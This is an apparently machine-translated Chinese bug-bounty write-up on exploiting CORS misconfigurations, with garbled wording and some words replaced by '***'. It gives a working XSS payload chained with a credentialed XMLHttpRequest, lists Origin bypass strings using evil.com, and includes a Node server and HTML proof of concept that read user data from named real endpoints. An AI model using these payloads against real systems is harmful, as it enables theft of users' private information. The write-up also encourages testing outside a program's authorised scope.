嗨,咱们好!我是来自摩洛哥的安全研讨员Ayoub。本文我将为咱们介绍两种CORS过错装备缝隙运用的状况:之一种状况是根据XSS,第二种状况是根据高档的CORS运用技能。
留意:在开端阅览本文之前,你需求根本了解CORS是什么以及怎么运用其过错装备缝隙。这儿有一些很很不错的文章你可以参看学习:
Portswigger’s Post
Geekboy’s Post
之一种状况
易受进犯端点
大约一年多前,我参加了HackerOne的私家项目。在HTTP恳求中运用Origin标头后,我查看了服务器呼应以确认它们是否进行了域白名单查看,终究我发现应用程序仅仅将子域列入了白名单,乃至是那些并不存在的子域。
出于隐私维护和负责任的发表方针,这儿我假定Web应用程序保管在:www.redacted.com
这个CORS装备过错看起来如下:
HTTP 恳求
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP 呼应
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
此API端点回来用户的私家信息,如全名,电子邮件地址等。
想要乱用这种过错装备并履行进犯,如走漏用户的私家信息,咱们需求声明一个抛弃的子域(子域名接收),或在其间一个现有子域中找到XSS。
规模之外的考虑
想找到一个抛弃的子域并不简单,所以我决议仍是在一个现有的子域中找到XSS。可是,该私有程序的规模仅限于:www.redacted.com,这意味着在其他子域中查找XSS必定不在其规模内,可是将该XSS与CORS过错装备链接在某种程度上来说应该算是在规模之内的。对吧?
而且由于其他子域不在规模内,因而其他黑客也就不会测验它们,这样一来我在这些子域上找到XSS的概率就十分大了!
如我所料,在不到一小时的时间里,我就在banques.redacted.com上发现了一个XSS,运用的payload如下:
https://banques.redacted.com/choice-quiz?form_banque=">script>alert(document.domain)script>&form_cartes=73&iframestat=1
现在,是时分创立一个PoC,并提交陈述了!
运用再现:
要运用此CORS装备过错缝隙,咱们只需运用以下代码替换payload alert(document.domain):
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
就像这样:
https://banques.redacted.com/choice-quiz?form_banque=">function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();&form_cartes=73&iframestat=1
现在,咱们具有了一个十分好用的PoC:
奖赏
现在,假如我告知你,你依然可以乱用该问题而无需在任何现有子域或宣称已抛弃的子域中找到XSS呢?
这正是咱们在第二个事例中即将评论的内容。
第二种状况
易受进犯端点
这一次,我的使命对象是Ubnt程序,尤其是保管在该网址的应用程序:https://protect.ubnt.com/
依照相同的进程,我确认了CORS装备过错,相似于前一种状况,但这次应用程序是从另一个方位获取用户的私家信息,一个API保管在:https://client.amplifi.com/api/user/
此应用程序还将任意子域列入了白名单,乃至是不存在的子域。
想要乱用这种CORS过错装备,你需求先声明一个抛弃子域,或在一个现有的子域中找到XSS。
由于这是一个揭露项目,规模较广(一切子域都在规模内); 因而,找到XSS的可能性也就小了许多,乃至也没有说到子域名接收缝隙。
那么,是不是咱们就没办法了呢?
高档 CORS 运用技能
嗯,现实证明,还有另一种 *** ,但需求满意必定的条件才行。
这儿可以找到一个风趣的研讨。显现可以绕过一些运用域名内特别字符过错完成的控件。
该研讨根据以下现实:浏览器在宣布恳求之前并不总是验证域名。因而,假如运用某些特别字符,浏览器当时可以提交恳求,而无需事前验证域名是否有用和存在。
示例
让咱们测验翻开一个包含特别字符的URL,如:http://asdf`+=.withgoogle.com。大多数浏览器会在宣布任何恳求之前验证域名。
域名withgoogle.com用作演示,由于它具有通配符DNS记载
Chrome:
Firefox:
Safari:
正如你所看到的,Safari是一个破例,它实践上会发送恳求并测验加载页面,这与其他浏览器不同。
咱们可以运用各种不同的字符,乃至是不行打印的字符:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,Davide Danelon还完成了另一项研讨可以在这儿找到,标明这些特别字符的其他子集也可用于其他浏览器。
知道了这些后,下面便是运用环节了。让咱们回到易受进犯的Web应用程序:https://client.amplifi.com/
新 ***
在这种状况下,Web应用程序还承受以下Origin *.ubnt.com!.evil.com
不仅仅字符“!”,还包含以下字符:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
你现在应该知道了某些浏览器(如Safari)承受具有特别字符的URL,例如:https://zzzz.ubnt.com=.evil.com
因而,假如咱们运用通配符DNS记载设置了一个域:evil.com,答应将一切子域(*.evil.com)指向www.evil.com,它将在相似www.evil.com/cors-poc的页面中保管一个脚本,该页面将向易受进犯的端点发送一个以子域名为起始值的跨域恳求。
然后,咱们强制让一个经过身份验证的用户翻开链接:https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,咱们可以将这个用户的私家信息走漏出去。
运用再现:
1.首要,设置一个带有通配符DNS记载的域,将其指向你的机器,在本例中我运用GoDaddy来保管我的域,装备如下:
2.装置Node *** ,创立一个新目录,然后在其间保存以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
3.在同一目录中,保存以下内容:
cors.html
html>
head>title>CORStitle>head>
body onload="cors();">
center>
cors proof-of-concept:br>br>
textarea rows="10" cols="60" id="pwnz">
textarea>br>
div>
script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
script>
4.经过运转以下指令发动Node *** 服务器:
node serve.js &
5.现在,登录到https://protect.ubnt.com/,并查看你是否可以从端点检索你的帐户信息:https://client.amplifi.com/api/user/
6.最终,在Safari浏览器中翻开链接:https://zzzz.ubnt.com=.evil.com/cors-poc。
在我的比如中,我运用iPhone中的Safari浏览器作为PoC,由于我没有Mac电脑。
奖赏
总结
我信任在Hacker One上你能找到许多有关这类CORS过错装备的陈述,但只要少数人可以充分运用它,由于他们的陈述中短少PoC。这便是我共享经历的原因之一,并一起着重运用此类缝隙的其他技能。
最终,永久记住,规模之外的考虑可能会带给你成功。